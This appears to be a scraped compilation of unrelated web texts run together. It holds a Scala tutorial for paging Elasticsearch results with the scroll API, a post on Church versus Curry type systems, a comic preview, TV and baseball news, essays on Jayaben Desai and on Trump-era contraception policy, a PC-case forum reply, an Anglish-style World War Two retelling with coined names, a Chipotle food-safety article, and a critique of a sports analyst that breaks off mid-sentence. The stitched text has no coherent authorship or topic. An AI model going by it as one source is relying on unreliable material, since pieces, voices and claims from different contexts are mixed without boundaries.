“ES-Scroll-API” scalaVersion := “2.11.4” libraryDependencies ++= { Seq( “org.elasticsearch” % “elasticsearch” % “1.5.2”, “ch.qos.logback” % “logback-classic” % “1.0.13” ) } First of all We need to create node in scala using java api which will interact with elasticsearch server running on our machine.I have created method getClient() which returns local node client. def getClient(): Client = { val node = nodeBuilder().local(true).node() val client = node.client() insertBulkDoc(client) val refresh = new RefreshRequest() client.admin().indices().refresh(refresh) Thread.sleep(2000) client.admin().indices().refresh(refresh) client } Elasticsearch is schemaless. We can index any json to it. We have a inputJson file, each line is a json. For our implementation: Application reads file line by line and insert json into the elasticsearch index . For this i have created insertBulkDoc() method which is uses bulk api for insert set of documents in elastic search index. Here is the complete insertBulkDoc() method. def insertBulkDoc(client: Client) { val sourceBuffer = Source.fromFile("src/main/resources/inputJson.json") val bulkJson = sourceBuffer.getLines().toList val bulkRequest = client.prepareBulk() for (i <- 0 until bulkJson.size) { bulkRequest.add(client.prepareIndex("gnip_index", "twitter", s"${i + 1}").setSource(bulkJson(i))) } bulkRequest.execute().actionGet() sourceBuffer.close() } After this we will perform fetch chunks of data through scroll api.Scroll api of ES provides effective way to paginate over selected data.Each call to the scroll API returns the next batch of results until there are no more results left to return, ie the hits array is empty.The initial search request and each subsequent scroll request returns a new _scroll_id — only the most recent _scroll_id should be used for retrieve current page data.for this i have created scrollFetch() method.for more information about Scroll API here Here is the complete scrollFetch() method. def scrollFetch(client: Client, query: QueryBuilder, indexName: String, outputFileUrl: String, scrollSize: Int = 10, scrollKeepAlive: String = "10m"): Int = { var scrollResp = client.prepareSearch(indexName).setSearchType(SearchType.SCAN). setScroll(scrollKeepAlive).setQuery(query).setSize(scrollSize).execute().actionGet() val totalCount = scrollResp.getHits.getTotalHits log.info("totalhits " + totalCount) var successCount = 0 if (totalCount > 0) { val outputFile = new File(outputFileUrl) val outputFileName = outputFile.getAbsolutePath val outputStream = new FileOutputStream(outputFile) val outputWriter = new OutputStreamWriter(outputStream) @tailrec def fetch() { scrollResp = client.prepareSearchScroll(scrollResp.getScrollId()).setScroll(new TimeValue(60000)).execute().actionGet() log.info("scroll length " + scrollResp.getHits.getHits.length) if (scrollResp.getHits.getHits.length == 0) { try { client.prepareClearScroll().addScrollId(scrollResp.getScrollId).execute().actionGet() return } catch { case ex: Throwable => log.error("we can't more scroll due to " + ex) return } } else { successCount = writeDataOnLocalFile(scrollResp.getHits.getHits, outputWriter, successCount, outputFileName) fetch() } } fetch() outputWriter.flush() outputWriter.close() successCount } else successCount } Now, for validation we store scrolled records into local file.For this we have a writeDataOnLocalFile() private method which writes fetched records into local file system. Here is the complete writeDataOnLocalFile() method. private def writeDataOnLocalFile(searchHit: Array[SearchHit], outputWriter: OutputStreamWriter, successCount: Int, outputFileName: String): Int = { var successCountModified = successCount var badWriter = false for (oneHit <- searchHit) { if (!badWriter) { try { val docId = oneHit.getId val dataSource = oneHit.getSourceAsString val writableDoc = s"""{"_id":${docId},"_source":${dataSource}} """ outputWriter.write(writableDoc) successCountModified += 1 } catch { case ex: IOException => log.error(s"can't write to the file ${outputFileName} due to ${ex}") badWriter = true } } } successCountModified } After this we can delete index from our node,for this i have created method deleteIndex() which takes client and index name as argument . Here is the complete deleteIndex() method. def deleteIndex(client: Client, indexName: String) { val deleteIndexRequest = new DeleteIndexRequest(indexName) val deleteResponse = client.admin().indices().delete(deleteIndexRequest).actionGet() if (deleteResponse.isAcknowledged()) log.info("index is successfully deleted") else log.warn("index is not deleted ") } Here is the complete application. package com.es.narayan import java.io.OutputStreamWriter import org.elasticsearch.search.SearchHit import java.io.FileOutputStream import org.elasticsearch.action.search.SearchType import scala.annotation.tailrec import java.io.IOException import org.elasticsearch.common.unit.TimeValue import org.elasticsearch.index.query.QueryBuilder import java.io.File import org.elasticsearch.client.Client import org.elasticsearch.action.admin.indices.delete.DeleteIndexRequest import scala.io.Source import org.slf4j.LoggerFactory /** * @author narayan * */ trait ESScrollApi { val log = LoggerFactory.getLogger(this.getClass) /** * This is scrollFetch method which provides pagination over selected data * * @param client * @param query * @param indexName * @param outputFileUrl * @param scrollSize * @param scrollKeepAlive * @return */ def scrollFetch(client: Client, query: QueryBuilder, indexName: String, outputFileUrl: String, scrollSize: Int = 10, scrollKeepAlive: String = "10m"): Int = { var scrollResp = client.prepareSearch(indexName).setSearchType(SearchType.SCAN). setScroll(scrollKeepAlive).setQuery(query).setSize(scrollSize).execute().actionGet() val totalCount = scrollResp.getHits.getTotalHits log.info("totalhits " + totalCount) var successCount = 0 if (totalCount > 0) { val outputFile = new File(outputFileUrl) val outputFileName = outputFile.getAbsolutePath val outputStream = new FileOutputStream(outputFile) val outputWriter = new OutputStreamWriter(outputStream) @tailrec def fetch() { scrollResp = client.prepareSearchScroll(scrollResp.getScrollId()).setScroll(new TimeValue(60000)).execute().actionGet() log.info("scroll length " + scrollResp.getHits.getHits.length) if (scrollResp.getHits.getHits.length == 0) { try { client.prepareClearScroll().addScrollId(scrollResp.getScrollId).execute().actionGet() return } catch { case ex: Throwable => log.error("we can't more scroll due to " + ex) return } } else { successCount = writeDataOnLocalFile(scrollResp.getHits.getHits, outputWriter, successCount, outputFileName) fetch() } } fetch() outputWriter.flush() outputWriter.close() successCount } else successCount } /** * writeDataOnLocalFile is private method which is used for write page data into local file * * @param searchHit * @param outputWriter * @param successCount * @param outputFileName * @return */ private def writeDataOnLocalFile(searchHit: Array[SearchHit], outputWriter: OutputStreamWriter, successCount: Int, outputFileName: String): Int = { var successCountModified = successCount var badWriter = false for (oneHit <- searchHit) { if (!badWriter) { try { val docId = oneHit.getId val dataSource = oneHit.getSourceAsString val writableDoc = s"""{"_id":${docId},"_source":${dataSource}} """ outputWriter.write(writableDoc) successCountModified += 1 } catch { case ex: IOException => log.error(s"can't write to the file ${outputFileName} due to ${ex}") badWriter = true } } } successCountModified } /** * This is insertBulkDoc method which is used for read data from file and write into ES index * * @param client */ def insertBulkDoc(client: Client) { val sourceBuffer = Source.fromFile("src/main/resources/inputJson.json") val bulkJson = sourceBuffer.getLines().toList val bulkRequest = client.prepareBulk() for (i <- 0 until bulkJson.size) { bulkRequest.add(client.prepareIndex("gnip_index", "twitter", s"${i + 1}").setSource(bulkJson(i))) } bulkRequest.execute().actionGet() sourceBuffer.close() } /** * deleteIndex method is used for delete index from ES node * * @param client * @param indexName */ def deleteIndex(client: Client, indexName: String) { val deleteIndexRequest = new DeleteIndexRequest(indexName) val deleteResponse = client.admin().indices().delete(deleteIndexRequest).actionGet() if (deleteResponse.isAcknowledged()) log.info("index is successfully deleted") else log.warn("index is not deleted ") } } We can run this application by extending ESScrollApi trait in our main object like. Here is the main object. package com.es.narayan import org.elasticsearch.action.admin.indices.refresh.RefreshRequest import org.elasticsearch.client.Client import org.elasticsearch.node.NodeBuilder.nodeBuilder import org.elasticsearch.index.query.QueryBuilders object ESApiObject extends App with ESScrollApi { /** * getClient method returns local node client * * @return */ def getClient(): Client = { val node = nodeBuilder().local(true).node() val client = node.client() insertBulkDoc(client) val refresh = new RefreshRequest() client.admin().indices().refresh(refresh) Thread.sleep(2000) client.admin().indices().refresh(refresh) client } val client = getClient val result = scrollFetch(client, QueryBuilders.matchAllQuery(), "gnip_index", "/tmp/outputJson.json") log.info("total number of scrolled documents is " + result) deleteIndex(client, "gnip_index") client.close() } After this go to sbt console and type => ‘sbt run’ we will get expected output on console as well as on local file. Download the source code to check the functionality. GitHub -Summary: Static vs dynamic typing debates often flounder because the debators see from two different perspectives without knowing it. Learning to identify the two perspectives can calm the discussion. The tension between the two perspectives has led to Gradual Typing and other technologies. Many discussions about type systems around the internet fail to be interesting because one or both parties are not versed in type theory. There’s a less common (yet related) reason, which I have begun to notice more and more: people who are not familiar with the difference between Church Types and Curry Types. These are also known, respectively, as Intrinsic Types and Extrinsic types. Because the participants are not aware of the two perspectives, they blame the other one for ignorance, when in fact they just have a different perspective. Church Types are what Haskell has. Church types are named for Alonzo Church, the inventor of the lambda calculus. In a Church-style system, types are an intrinsic part of the semantics of the language. The language would be different without the types–it may even be meaningless. With an intrinsic type system, the meaning of the program is different from the runtime behavior of the program. One way to think of this is that so much of the meaning of the program occurs at compile time that you can begin to think of the program having properties you can reason about even if you never run the program. The other kind of types are Curry types (aka extrinsic types). They are named for Haskell Curry, the man the Haskell language is named after. Curry-style types is when a system of types is applied that is not part of the semantics of the language. This is what Clojure has in core.typed . The meaning of a Clojure program is not dependent on it passing the type checker–it can be run without it. The type checker simply alerts you to type errors in your code. Note that you could consider your type checker to be your own head, which, as flawed as it may be, is what most Clojure programmers use. The types could be anywhere outside of the language. Each perspective is valuable and bears its own fruit. Intrinsic types are great because you are guaranteed to have a mathematically-sound safety net at all times. You always have something you can reason about. Such is not guaranteed for extrinsic type checkers. They may not be able to reason about your code at all. Extrinsic types are useful because you can apply multiple type systems to your code–or even write something that you don’t know how to prove is sound. There are more benefits on both sides, but you get the idea. We now have a new perspective which is slightly “higher” than either of them. We can now see that both perspectives exist and talk about them as such. What can we see/say now that we couldn’t before? A famous article by Robert Harper exemplifies the Church perspective very well. It argues that untyped programs are a subset of typed programs. They are programs that have a single type and all values are of that one type. So instead of being liberating, dynamic languages restrict you to one type. Notice the assumption that languages have a type system by default which is typical of the Church-style perspective. We can now say “This reasoning is correct given that perspective.” On the other side, you’ll often see a dynamic typist say the exact opposite: that well-typed programs are a subset of dynamically typed programs. In other words, well-typed programs are just dynamic programs with fewer errors. Curry-style to the core: static type errors are something that is added onto the semantics of the language. We can now see that they are right, from their perspective. Here’s a diagram: Notice how they’re isomorphic? That means something, I just don’t know what 🙂 My ambitious hope is that this perspective will quiet a lot of the fighting as people recognize that they are just perpetuating a rift in the field of mathematics that happened a long time ago. The perspectives are irreconcilable now, but that could change. A paper called Church and Curry: Combining Intrinsic and Extrinsic Typing builds a language with both kinds of types. And Gradual Typing and Blame Calculus are investigating the intersection of static and dynamic typing. Let’s stop fighting, make some cool tools and use them well. -This is a DISASTER. Baby Darkseid was the narrative equivalent of the Miracle Machine. You could do anything with him. Baby-shaped tyrant working to enslave the universe? Great! Theological conflict started over a gray toddler who just pooped himself? YES. Child version of the destroyer growing up to struggle against his inherent nature and try heroism for a change? That's basically the plot to Uncanny X-Force. James Robinson, Carlo Pagulayan and Stephen Segovia are foreclosing on that narrative cornucopia, though, in the pages of Wonder Woman. In all seriousness, what we're seeing from this arc of Wonder Woman is a good thing. Conflict between the varying pantheons is a rich vein to mine in superhero comics - it lets the creators examine the mythological underpinnings of the characters and build a deep world around our heroes, tapping into some of what makes them so cool to follow. This is the kind of conflict that made Greg Pak and Fred Van Lente's Incredible Hercules such a lovely surprise when it came out, and part of what makes Diana so interesting in her best stories. And a re-aged Darkseid fighting Zeus, thanks to Pagulayan and Segovia, looks great. So of course we were excited to get our hands on an exclusive first look at Wonder Woman #37. Here's what DC has to say about the issue: WONDER WOMAN #37 Written by JAMES ROBINSON Art by CARLO PAGULAYAN, STEPHEN SEGOVIA and JASON PAZ Cover by BRYAN HITCH Variant cover by JENNY FRISON “CHILDREN OF THE GODS” part five! As a fevered battle with Darkseid rages between Wonder Woman and the dark god, the Amazon warrior must choose between saving the lives that hang in the balance and ending the threat before her forever. Take a look at these preview pages! -Flashpoint Could Bring Tommy Merlyn Back To ‘Arrow’ The ‘Flashpoint’ story arc in the comics was a massive universe altering event. The Flash went back in time to save his mother, causing a new timeline where everything had changed. The end of The Flash‘s second season saw the CW’s version of the character do the same thing, using the same ‘Flashpoint’ plot device from the comics. The timeline changing event has the potential to crossover to the other shows in the universe, possibly altering events in Arrow, Supergirl, and Legends of Tomorrow. It may change characters stories, erase events entirely, and bring characters back who have already died. With that in mind, could ‘Flashpoint’ possibly bring back Tommy Merlyn to Arrow? Actor Colin Donnell’s character, Tommy Merlyn, was killed during the first season finale. Since then, he has returned for a cameo during flashback sequences but has remained deceased. Donnell spoke with TVLine about the possibility of bringing Tommy back, thanks to ‘Flashpoint’. “I can’t tell you how many people I’ve talked to about the possibility and how it could possibly happen. It’s not out of the realm of possibility.” Of course nothing has been confirmed, except that it is within possibility. ‘Flashpoint’ does however provide a reasonable opportunity to bring the character back. Tommy was killed with little to no closure, so bringing him back would make sense. Do you think Tommy will make a return to Arrow? Let us know in the comments. Arrow Season 5: Newly appointed Mayor Oliver Queen finds himself challenged as he fights on two fronts for the future of Star City. With Diggle back in the military and Thea adamant about hanging up her hood as Speedy, Team Green Arrow is down to just Oliver and Felicity – but they’re no longer the only vigilantes in town. Green Arrow’s public defeat of Damien Darhk at the end of Season Four has inspired a new crop of masked heroes to step up and defend the city, though their painful inexperience makes them obstacles, rather than allies, in the field. The arrival of a deadly new adversary will force Oliver to confront questions about his own legacy, both as mayor and as the Green Arrow. Source: TVLine -Brian Dozier turned a drag bunt into a leadoff 'home run' for the Twins Brian Dozier went to the plate with a plan as he led off the Twins' 10-4 victory in Detroit between the Twins and the Tigers. The Twins are in the heat of the WIld Card race, so with every inning of the utmost importance, he decided to try to get them off on the right foot by surprising pitcher Matthew Boyd and his defense with a drag bunt. It briefly popped in the air, but landed safely in front of third baseman Jeimer Candelario. Although it would have taken a good play to get Dozier, Candelario went for it. His throw went way off line, and Dozier was off to the races: This might be a fast-motion GIF, but look at Dozier go! The Tigers didn't have anyone particularly close to the area in right-field foul territory where Candelario's throw went, so thanks to Dozier's hustle, he was able to circle the bases on one of the wackiest leadoff plays you'll ever see. The Twins took a 1-0 lead and ended up winning with an eight-run eighth inning to cut their magic number in the AL Central to 4. Twins manager Paul Molitor called it "an exciting start," though he had been taken aback by Dozier's strategy. He was happy to see that it worked out. "I told Doz when he scored that it was the first time he led off a game with a bunt all year," he said to MLB.com's Rhett Bollinger. "It kind of caught me by surprise. They threw it away and it ended up in no-man's land and he circled the bases." Dozier ran a similar route back in April on an inside-the-park homer against James Shields, so that marks the second time this year that he's been able to take advantage of the defense on a strange play. Whatever works, right Brian? Andrew Mearns is a writer for Cut4 whose baseball obsession was born from the shattered dreams of Mike Mussina's perfect game attempt in 2001. He has a startling memory of World Series highlights that barely functions as a party trick. -“A person like me, I am never scared of anybody”, Jayaben Desai told her manager before she downed her tools, beginning one of the seminal industrial disputes of the 1970s. In the blistering summer of 1976, Desai led a 100 strong protest at the Grunwick film processing plant in northwest London. Tired of low pay and poor working conditions, Desai – who hailed from Gujarat, India – and her fellow workers – who were mostly from abroad – had enough. A year later they’d inspired 20,000 trade unionists, many of whom were white, to march on the factory in solidarity. They eventually conceded defeat but Desai’s achievements are not to be sneered at: she united workers previously polarised along race lines. Many shared fond memories of her indefatigable spirit when she died in 2010; realising people like Desai keep the international Labour movement alive. Yet Desai’s story is one of few about minority ethnic women that the left properly remembers. Perhaps that’s because there is a shortage of stories where Black, Asian and Minority Ethnic (BAME) take centre stage, but even if that is the case, we should ask why. Women of colour, their contributions and the particular forms of discrimination they face are all too often sidelined by the left and by mainstream politics more broadly. Just two weeks before we all came together on International Women’s Day to embrace feminism, Labour MP Dawn Butler laid bare the ugly realities women of colour face on a daily basis. After stepping into the members’ only lift in Parliament, one of her fellow MPs turned to curtly reprimand her: “This lift really isn’t for cleaners”. The assumption: Butler as a black woman must be a cleaner. No way could she be an MP. Diane Abbott, the first black woman MP, has spoken of similar experiences. When the malice of racism and sexism is exposed in this way, the magnitude of the response is often great. Social media exploded in outrage and disbelief. But the system that produced this discrimination is left unchecked. Women of colour are more likely to be poorer and less healthy than their white counterparts. That’s not just an accident or an unfortunate outcome of sexism; it’s bound up with the racism. Racism and sexism: that’s what minority ethnic women in Britain have to deal with every day. When it’s recognised, this double prejudice often paves the way for a saviour complex to kick in. The problems these women face are reduced to simple stories where wider society is somehow blameless: women of colour need to be saved from “oppressive” cultures or “barbaric” men. This is a ludicrous leap to make when we all know men of any colour are capable of abusing women; ‘race’ and ethnicity have nothing to do with it. Institutional sexism and racism don’t get a mentioned. We’re all entitled to our own version of feminism. There’s particular one that calls for equal pay, equal representation, and more broadly the right to one day move through life without sexism shaping the path. But too often it risks infantilising women of colour around the world by speaking for them and too often it ignores the racism British women of colour experience. At times, calls for equality seem to implicitly mean between white men and white women. Jayaben Desai’s story is a powerful reminder that women of colour are not just passive victims, as politicians like David Cameron would have us believe, or abstract voters groups to be tapped into when an election rolls around. The thirteen minority ethnic women who are Labour MPs, countless councillors, Labour peers, and huge numbers of women of colour in the labour movement and the broader left wing movement who help to keep it alive. Yet they are rarely given attention for a substantial amount of time. Their experiences and views should be essential to the left-wing feminist movement because in the words of Flavia Dzodan: “My feminism will be intersectional or it will be bullshit.” -Even before he added Mike Pence to his ticket, we already knew that the Donald Trump was unprincipled-to-wacky when it came to his stances on women’s sexual health. Now, thanks to a leaked administration wish list, we know a little more about Team Trump’s beliefs and archaic views on women’s reproductive health. The list, obtained by Crooked Media, was meant to be circulated internally. Brian Beutler notes that the list highlights how much of the administration’s policy is driven by Islamophobia, even policy that doesn’t have anything to do with travel. For our purposes, let’s focus on how the document treats women. The memo suggests the World Health Organization doesn’t actually promote health, and advises there should be cuts to the U.S. government’s “gender and ‘Let Girls Learn’ initiative.” “Instead,” the document reads, “start the Child Rape elimination initiative that we’re going to try to work up through an interagency process.” The spectre of sexual abuse by Muslim men has long been used by those pushing an Islamophobic agenda to drum up fear of immigration. The administration’s sudden concern for women would feel less disingenuous if the Trump administration cared about sexual assaults committed by anybody who wasn’t brown (perhaps by somebody who was more, uh, orange, for starters), but as it stands, this concern trolling is very of-the-Breitbart-playbook. The real show starts when they get into their kooky beliefs about birth control. If the Trump administration got its way, the US Agency for International Development (USAID) budget for family planning would be slashed, with “no other family planning programming for girls except fertility awareness methods.” Lapsed Catholics should remember the phrase “fertility awareness” from confirmation class; it’s just a scienced-up term for “the rhythm method,” a form of birth control that doesn’t work for one-quarter of couples who use it. Title X funding, which helps poor women afford contraception, would be slashed in half if Team Trump gets its way. Money would be diverted from sex education that emphasizes “risk reduction” and instead flow toward “sexual risk avoidance,” which is another term for “abstinence-only education.” Abstinence-only education doesn’t work. A report published this year declared the practice both “ineffective and unethical.” The Title X money could also be diverted into childcare programs, or fertility awareness education. Women who want to be on birth control do not want childcare programs. They want to not be pregnant. That’s why they’re on birth control. They also would not like to learn about “fertility awareness,” a form of birth control that is much less effective than other, better forms of birth control the Trump administration would like us to pretend have not been invented. For how stupid it is to promote “fertility awareness” over real contraception, let’s consider a theoretical model of car. Let’s say this car was, for 75 percent of the people who drove it, perfectly safe. But let’s say that for 25 percent of people who drove it for a year, the car would crash completely without warning and its driver would require hospitalization to recover. Promoting that car over an alternative car that crashed for, say, 0.01 percent of people (that’s the fail rate for a hormonal IUD) is fucking insane. So would telling people who didn’t want to drive the crashing car to perhaps, rather than getting a safer vehicle, simply not drive at all. That’s the Trump administration’s stance on birth control. According to the document, a federal program designed to prevent teen pregnancy “needs to be defunded as it has not worked, there is no positive evidence and some negative evidence.” Teen pregnancy in the U.S. just reached its lowest point since records were initially kept. So have abortion rates. That means that teens are either having much less sex than they were before or are not getting pregnant in the first place. Experts believe that the drop in teen fertility and abortion rates is due to greater availability of long term birth control and comprehensive sex education. What the government has done to bring us to this point is absolutely effective. Donald Trump lived a life of hedonism in the 1980s and 1990s. If tabloid reports at the time are to be believed, the future president plowed his way through a portfolio’s worth of models and starlets. He even managed to drive a weird mini-news cycle with reports that he made all of his sexual partners take an AIDS test before he’d bless them with his sexual company. Karen Pence’s first husband, before she married Vice President Mike, helped invent Cialis, a drug that helps men who have difficulty experiencing sexual arousal achieve erections. That men should have medically-assisted access to consequence-free sex while women are misled into punishment for the same actions encapsulates this administration’s stunning hypocrisy on sexual health. (Also, hi, Ivanka! Where the fuck are you?) Women can at least hope that this administration’s ineptitude when it comes to health care, tax reform, the border wall, every multilateral deal Trump threatened to pull out of, and every other major policy Trump has threatened to enact means that they’ll also have trouble creating the unplanned pregnancy hellscape of this wish list’s dreams. Trump being bad at his job might be the last thing that keeps American women safe from this pre-sexual revolution wish list. -Thanks. Yeh its a nice little case if you need a small, good looking machine. Yes it can fit a PCI card but it has to be half height or you have to remove the bracket (this is what i did as i added a 2 port intel nic. The issue is that the pci slot when filled will block the top fan. Depending on how big your card is, this will likely impact the air exhaust. My card is about 3 inches wide and 7 inches deep. After adding, my avg temps increased 2C so acceptable. If you were to put a GFX in there, probably worse. My CPU fan is variable but regardless even at its max 1500 rpms, its very quiet. the Zalman is a nice SFF cooler. The included fans are very quiet as they max at 1000 rpms. Depending on your cooling needs, you may benefit a lot by replacing these (120mm) with fans that more more air (but are prob louder). I have no issues with cooling now that i have "fixed" my 4790K. These had an issue with overheating and turns out it was the default settings in the BIOS (as was case with many other MB brands). I think the biggest design decision is the CPU cooler vs PSU. If you want the SFF PSU like the Silverstone, you will need a cooler that is about 3-4mm smaller that the Zalman. If i ever have power issues i may look at this but so far, its been great. -The Twithe World Wye or World Wye Two (Mean English: World War Two or Second World War) was a worldwide wye fought between the Gathered Ethels and the Axlemight, from 1939 until 1945. Spanning much of the world, the wye led to the death of over 62 micklered, making it the deadliest wye in the eretide of man. It was mainly spured up by pent up wrath from Theechland's loss at the end of The First World wye. The wye the end won by the Gathered Ethels. Overlook Edit On the first day of Holimonth, 1939, Theechland, under the steering of Adolf Hitler, overran Poland in line with a hidden runing with the Band of Soviet Fellowship Ledewealths. On the third Holimonth, the Foroned Kingdom, Andland and New Sealand, followed six logs later by Frankric, answered by spelling wye on Theechland, beginning a widespread sea wye. South Highsun followed their lead on 6 Holimonth, and Settlingland four days later. The BFSL also overran Poland from the east on the seventeenth day of the month, but the Western ethels did not likewise spell wye on the Folkwield Band. Theechland swiftly overcame Poland, then Norway, the Netherlands, Belgy and Frankric in Erelith 1940, and Southslavland and Greekland in 1941. Italish and later Theedish heramen fought the British in North Highsunlandnland. By summer 1941, Theechland had overcome Frankland, and most of Western Europe, but it had swethered to overcome the Banded Kingdom thanks to the arful withstanding and stalworthness of the British Loftmight. In 1941, Dawnland struck Seahurst Harbor in the Banded Folkdoms of Americksland. In little time, the BFA spelled wye on Dawnland, Italy, and Theedishland. Earlier in the year, Theedishland had began an onslaught against Russland, and they were nighing Leninborough, Stalinborough and even Moscow itself. However, the tide of the wye soon shifted, and the Red Weremight held off the Theedish Weremight at Stalinborough, and then thrutched them back to wyes in Borderland. At the same time, British Wyemen fought the Afrika Korps of Theechland in North Highsunland, and began to halt them, starting at El Alamein, Egypt. In the Frithful Highsea, the BFA overcame the Dawnland lofthera on the iland of Midway. From 1942 to 1944, Gathered ethels beat back or held off Samened strikes, with many more ethels such as Rudwood, Moonsnavel, Columbland, the Filip Ilands, and Joan Iland. However, inroads were slow, and they needed to help in on the western head, while the BFSL were on the east. So on the sixth day of Forelithe, 1944, better known as D-day, Western Gathered wyemen landed and struck the Norman shore, and overran the Theech harmen within. Paris was freed, and soon Gathered thracks were nighing Theechland. However, in the Struggle of the Lump, wyemen fought and tolled dearly for the biding of both sides. Soon, Red Weremight thracks overtook Berlin, and meeting up with the Gathered Ethels on the Elb, Theechland yold and threw down her weapons, a day know as V-E Day, the Eighth of Blossommonth, 1945 In the Frithful Highsea, Dawnland fought boldly from iland to iland, never yielding until death. Bloody Struggles were fought, and the BFA in the end overtook the Eailands, Ellentown, the Westfrith Ilands, and a few of the Japan home ilands, such as the Searopes. Hilds such as the Hild of Brimstone Iland were later heavily ared. With the dropping of two uncleftish blasters upon Dawnland by the BFA, Japan at last yielded and V-J was bemarked on Weedmonth 15th, 1945, also the upheld end of The Twith World Wye. -Chipotle Mexican Grill Inc. has touted its use of local ingredients and fresh produce to help differentiate it in a crowded fast-food market. Now a string of disease outbreaks is forcing the once-scrappy upstart to act more like the big chains it long has derided. Chipotle expects to lower its use of locally sourced ingredients and is centralizing the preparation of some vegetables as it seeks to shore up food safety following an E. coli outbreak that sickened 52 people in nine states and a norovirus episode in Boston. The burrito chain hopes the steps can help it regain consumers who have shunned its outlets, eroding its sales. Health officials haven't been able to identify the source of the E. coli outbreak but say produce was the probable cause. At an investor conference in New York last week, Steve Ells, founder and co-chief executive of Chipotle, described the chain's new practice of dicing, sanitizing and hermetically sealing tomatoes, cilantro and lettuce in a central kitchen where they are tested for microbes and then shipped to restaurants. Mr. Ells said the extra steps don't change the quality of the ingredients and that whole avocados and jalapeños will continue to be brought into the restaurants. The new techniques minimize the number of people and surfaces coming into contact with the ingredients. "You could bring fresh cilantro right out of the field into the restaurant and wash it there. I don't think that would be any better than washing the cilantro in the commissary," Mr. Ells told investors. "And if dried properly and then sealed in the bags, it's a delicious product." Mr. Ells apologized for the outbreaks on NBC's "Today" show last week and said Chipotle is trying to make sure they don't happen again. "I'm sorry for the people who got sick. They are having a tough time, and I feel terrible about that," he said. Chipotle had moved away from centralized produce preparation for taste reasons. For many years, the Denver company chopped and washed tomatoes in a Chicago kitchen and shipped them to restaurants in bags. In 2014, it began chopping them at its restaurants in dicing machines, because executives said they tasted better when prepared on-site. "Produce is the leading vehicle of single-source food-borne outbreaks in the U.S. Even if the contaminant was something else, like a spice, they still need to get it right with produce," said Michael Doyle, director of the Center for Food Safety at the University of Georgia. Chipotle has experienced five disease outbreaks since July, including a salmonella outbreak involving tomatoes that sickened 64 people in Minnesota. The company has warned its fourth-quarter earnings would fall well below analyst forecasts and its same-store sales would drop 8% to 11% because of the incidents. It isn't clear which restaurants may be benefiting as Chipotle loses customers. A spokeswoman for restaurant-consulting firm Technomic Inc. said direct Chipotle competitors such as Qdoba or Moe's Southwest Grill may benefit, but upscale burger chains like Smashburger that offer fresh, made-to-order foods also tend to attract similar customers and may get a sales lift. Melissa Arnoff, a senior vice president at crisis management firm Levick, said Chipotle's safer practices might actually create a new problem for the company by turning off customers who like watching their food being prepared in front of them. "Hermetically sealed tomatoes are 180-degrees from the image they want to portray," she said. Though there is no evidence that Chipotle's multistate E. coli outbreak originated with a local supplier--and it likely didn't, given that people from Oregon to New York got sick--some smaller farmers Chipotle has long praised may be unable to keep supplying the chain if they can't implement the kind of sophisticated pathogen testing it now is requiring. Chipotle, which has nearly 2,000 restaurants, has talked up its local growers ever since it began the sourcing program in 2008. By 2010, the company said it was buying more than 50% of at least one ingredient locally throughout the country, although it initially referred to "local" ingredients as those sourced from within about 200 miles of its restaurants and now defines as local those grown within 350 miles. Until last week, Chipotle hadn't disclosed the percentage of its produce that is locally grown, but Mr. Ells told investors that the total amount of locally grown produce Chipotle buys in a given year amounts to just about 10%--a figure that is likely to decrease, a spokesman said. The spate of disease outbreaks marks something of a comeuppance for a company that has satirized so-called "factory" farms in its marketing, criticizing their mechanized growing practices, as well as fast-food chains for using preservatives. In October, Chipotle produced a fake commercial in which a customer walks into a fictitious restaurant chain named "Cheapotle," where she finds a slew of artificial ingredients going into her food. Choosing how to communicate its food-safety changes poses a dilemma for a company that wants to assure customers that its food is safe without alienating those who share its "food with integrity" ideals. Executives recently told investors that they will wait until the Centers for Disease Control and Prevention declares an end to the E. coli outbreak before launching an ad campaign about Chipotle's food-safety steps. Until that happens, once-loyal customer Sergio Pereira won't return. "With all the food poisonings there, I haven't been to a Chipotle in the last three months and I won't let anyone in my family go, either," said Mr. Pereira, the 54-year-old president of Quill.com, a division of Staples Inc. He added that if Chipotle told customers they are sanitizing produce off-site, it would help give him the confidence to return, but that he still wants to know more. "The company needs to rebuild trust and they need to tell people that they've made very concrete changes," he said. Write to Julie Jargon at julie.jargon@wsj.com -The Ringer published an article today entitled “The NFL’s Analytics Revolution Has Arrived” by Kevin Clark. The first section of the article is a relatively interesting overview of the state of advanced analytics in the NFL. But then everything goes down hill. And where does it start to go down hill? Right here: “It is amazing,” Warren Sharp said, “how many teams anonymously follow me on Twitter.” Sharp is an engineer with his own analytics site and has been playing around with football statistics for about 20 years. He is among the top minds in football not working full time for a team. Ok. First of all, why does this read as a press release promoting Warren Sharp? Second, let’s talk for a second about who Warren Sharp is. You might remember him from this blog post (which was picked up by Slate, the Wall Street Journal, and Huffington Post) about how the “The New England Patriots Prevention of Fumbles is Nearly Impossible”. It turns out that the analysis was highly flawed, and myself and a colleague detailed the problems with the “analysis” over at Deadspin and Neil Paine over at FiveThirtyEight.com did a great job summarizing the whole kerfuffle. Sharp then basically claimed that he had been redeemed by the Wells Report, but that was also not true either. In fact, in 2015 immediately after the league implemented stricter ball handling procedures to prevent potentially deflating footballs, the Patriots still had the lowest fumble rate in the league. As Mike Lopez explains in Sports Illustrated: In any case, the 2015 season makes for an excellent out-of-sample test with respect to New England’s fumble tendencies. Although the Patriots have been accused of going crazy lengths to gain a winning edge, it seems safe to assume that any suspect ball routine could not have been a part of the game-day preparation process this season. (The NFL implemented new procedures for inspecting game balls.) As a result, if one initially made the link between the Patriots low fumble rates and deflated footballs, the natural follow-up would be to assume that New England’s fumble rates would revert toward the league average in 2015. So what happened in 2015? • The Patriots had the fewest fumbles of any NFL offense. • The Patriots had the best fumble rate of any NFL offense. • The Patriots had one of their best fumble rates of the past decade. Based on only this, it is my opinion that Warren Sharp is really not that great of a statistical analyst. And look, I make mistakes. Everyone makes mistakes. Its basically impossible to do statistics without ever making a mistake. Humans are human after all. But what bothers me so much about Sharp is that he just seems to ignore the legitimate criticisms and doubles down. But wait, there is more! In addition to this, Warren Sharp is a tout. While The Ringer generously promotes his site, Sharp Football Stats, they don’t seem to mention his other site, Sharp Football Analysis, where Sharp sells football picks to gamblers. (You can buy a season long membership for the low, low price of $250….) According to Sharp, his record, shown below, is a 59% winning percentage over 12 years, with a whopping 77% win percentage in Overs (which is somehow different than “Over Leans”). When something seems too good to be true, it usually is. There is absolutely no way he’s correctly picked 59% of games against the spread over the course of 12 years. And here’s how you can tell this isn’t real: If he was picking 59% correctly over the course of 12 years, he wouldn’t be selling the picks. He wouldn’t need to because he’s be extremely wealthy and wouldn’t need your $250 membership fee. There are a few very good professional gamblers, but you’ve probably 